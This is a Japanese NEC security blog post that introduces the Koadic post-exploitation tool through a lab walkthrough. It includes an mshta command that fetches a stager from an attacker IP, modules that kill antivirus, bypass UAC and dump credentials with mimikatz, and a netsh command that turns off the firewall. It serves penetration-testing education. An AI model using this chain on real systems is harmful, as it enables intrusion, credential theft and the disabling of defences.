サイト内の現在位置

ペネトレーションツールの紹介 ~Koadic編~

NECセキュリティブログ

2020年4月17日

NEC サイバーセキュリティ戦略本部セキュリティ技術センターの江村です。
今回はペネトレーションツールの紹介として、Windows向けpost-exploitation rootkitであるKoadicを紹介します。

Koadicとは

前述した通りKoadicはWindows向けのpost-exploitation rootkitです。ペネトレーションテストなどで、攻撃対象のWindows端末に侵入した後に使用するツールになります。似たような機能を持つツールとしてはMeterpreterやPowershell Empireが挙げられます。
これらのツールとの差異ですが、Koadicはほとんどの操作をWindows Script Hostで行うため、Powershell を無効化されているような環境でも動作させることができます。
Koadic : new windowhttps://github.com/zerosum0x0/koadic
Meterpreter : new windowhttps://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/
Powershel Empire : new windowhttp://www.powershellempire.com/

使用例紹介

Koadicには様々な機能がありその全てを今回の記事で紹介することは難しいため、以下のストーリーに則りいくつかの機能をご紹介したいと思います。

  1. Koadicのインストール、実行
  2. 攻撃者端末と被害者端末の接続
  3. Windows defenderなどAntiVirusプロセスの停止
  4. 権限昇格
  5. アカウント情報の入手
  6. Windows defender firewallの停止
  7. リモートデスクトップの起動
  8. リモートデスクトップで接続

各機能の詳細やその他の機能はGithub(new windowhttps://github.com/zerosum0x0/koadic)でも確認できるのでそちらをご参照下さい。

  • 本記事の内容をお手元で試してみたい方は、必ず自身で用意した環境の下で行ってください。また、自身で検証中に何か問題が発生しても責任を負いかねますのでご了承ください。

検証環境

今回はVMware上に攻撃者端末(Kali linux)、被害者端末(Windows10)を用意して検証を行いました

検証

1. Koadicのインストール、実行

git clone https://github.com/zerosum0x0/koadic.git
cd koadic
pip3 install -r requirements.txt
./koadic

2. 攻撃者端末と被害者端末の接続

Koadicには「Stager」と「Implants」の大きく二つのモジュールがあります。
「Stager」は被害者端末を攻撃者端末に接続させ、「Implants」を使用できるようにするためのモジュールで、「Implants」は被害者端末内で実行させるモジュールです。

「Stager」モジュールは以下の6種類があります。

Module Description
stager/js/mshta serves payloads in memory using MSHTA.exe HTML Applications
stager/js/regsvr serves payloads in memory using regsvr32.exe COM+ scriptlets
stager/js/rundll32_js serves payloads in memory using rundll32.exe
stager/js/disk serves payloads using files on disk
stager/js/wmic serves payloads in memory using WMIC
stager/js/bitsadmin transfers a .wsf payload containing JScript over a Bitsadmin job and executes it

デフォルトでは「stager/js/mshta」モジュールが設定されています。

今回の検証ではデフォルトの「stager/js/mshta」モジュールをそのまま使用しました。
「info」コマンドを使うと使用するモジュールに必要なオプションを確認することができ、「run」コマンドを使うとモジュールを実行します。

電子錠の画像

「run」コマンドで「stager/js/mshta」モジュールを実行すると「mshta http://192.168.85.134:9999/jgG2E」という文字列が出てきました。これがstagerをダウンロードするときに使用するコマンドになります。
このコマンドを被害者端末内で実行することで被害者端末がstagerをダウンロードし、攻撃者端末と接続を行います。

Koadicでは接続された端末のことをzombieと呼んでおり、「zombies」コマンドを使用することで現在接続されているzombieの一覧を表示、「zombies (ID)」コマンドを使用することで各zombieの詳細を確認することができます。

こちらが今回のzombieの情報になります。詳細を見てみると「Elevated」の項目がNoになっていることが分かります。これは、一般ユーザの権限で動作しているということを意味します。そこで次は管理者権限へのエスカレーションを試みます。

3. Windows defenderなどAntiVirusプロセスの停止

これから管理者権限へのエスカレーションを試みるのですが、多くのWindows端末ではWindows defenderなどのAntiVirusプロセスが動作していることと思います。
中にはこれらの機能が管理者権限へのエスカレーションを阻害する場合があります。

KoadicにはそれらAntiVirusプロセスを停止させるモジュールがあるので、管理者権限へのエスカレーションを行う前に、まずはそれらのプロセスを停止させたいと思います。

AntiVirusプロセスの停止には「implant/manage/killav」モジュールを使用します。
使用したいモジュールの選択には「use」コマンドを使用します。

モジュールが正常に実行されました。

4. 権限昇格

権限昇格用のモジュールはいくつか存在しますが、今回は「 implant/elevate/bypassuac_compdefaults」を使用して権限昇格を行います。

runの結果を見ると、新しくZombe 1が生成されていることが分かります。こちらが権限昇格後のプロセスとなります。

「zombkes (ID)」コマンドを使用して詳細を確認してみると、先ほどNoになっていたElevatedの項目がYES!になっており、権限昇格が完了したことが確認できます。

5. アカウント情報の入手

前回のステップで管理者権限を手に入れたので、次は被害者端末内のアカウント情報を入手します。ここでは「implant/inject/mimikatz_dotnet2js」を使用しました。

「implant/inject/mimikatz_dotnet2js」モジュールを実行すると、このようにアカウント情報を入手することができました。
では、入手したアカウント情報を用いてリモートデスクトップ接続を行いましょう、と言いたいところですが、そのためにはWindows defender firewallを停止させなければなりません。

6. Windows defender firewallの停止

Windows defender firewallはコマンドプロンプト上で「netsh advfirewall set allprofiles state off」を実行することで停止できます。

コマンドの実行には「implant/manage/exec_cmd」モジュールを使用しました。

モジュールが無事動作したことが確認できます。
これでWindows defender firewallを停止させることができました。

7. リモートデスクトップの起動

入手したアカウント情報を利用してリモートデスクトップ接続を行いたいのですが、そのためにはリモートデスクトップを有効化しなくてはなりません。

Koadicには「implant/manage/enable_rdesktop」モジュールがあり、簡単にリモートデスクトップを有効化させることができます。

「implant/manage/enable_rdesktop」モジュールの前後で使用している「implant/scan/tcp」モジュールは端末内で開いているTCPポートをスキャンするモジュールです。
スキャン結果からも分かるように、無事リモートデスクトップ用のポートを有効化することができました。

8. リモートデスクトップで接続

それでは、先ほど入手したアカウント情報を用いてリモートデスクトップ接続を行います。
今回は「Remmina」というクライアントツールを使用しました。

無事、リモートデスクトップで接続することができました。

最後に

今回はペネトレーションツールとしてKoadicを紹介しました。今回紹介した機能以外にも様々な機能があるので興味のある方は自身の環境でぜひ試してみてください。

執筆者プロフィール

江村 勇紀(えむら ゆうき)
セキュリティ技術センター セキュリティ実装技術チーム

社内のセキュア開発推進や、社内SEへのセキュリティ技術支援に従事。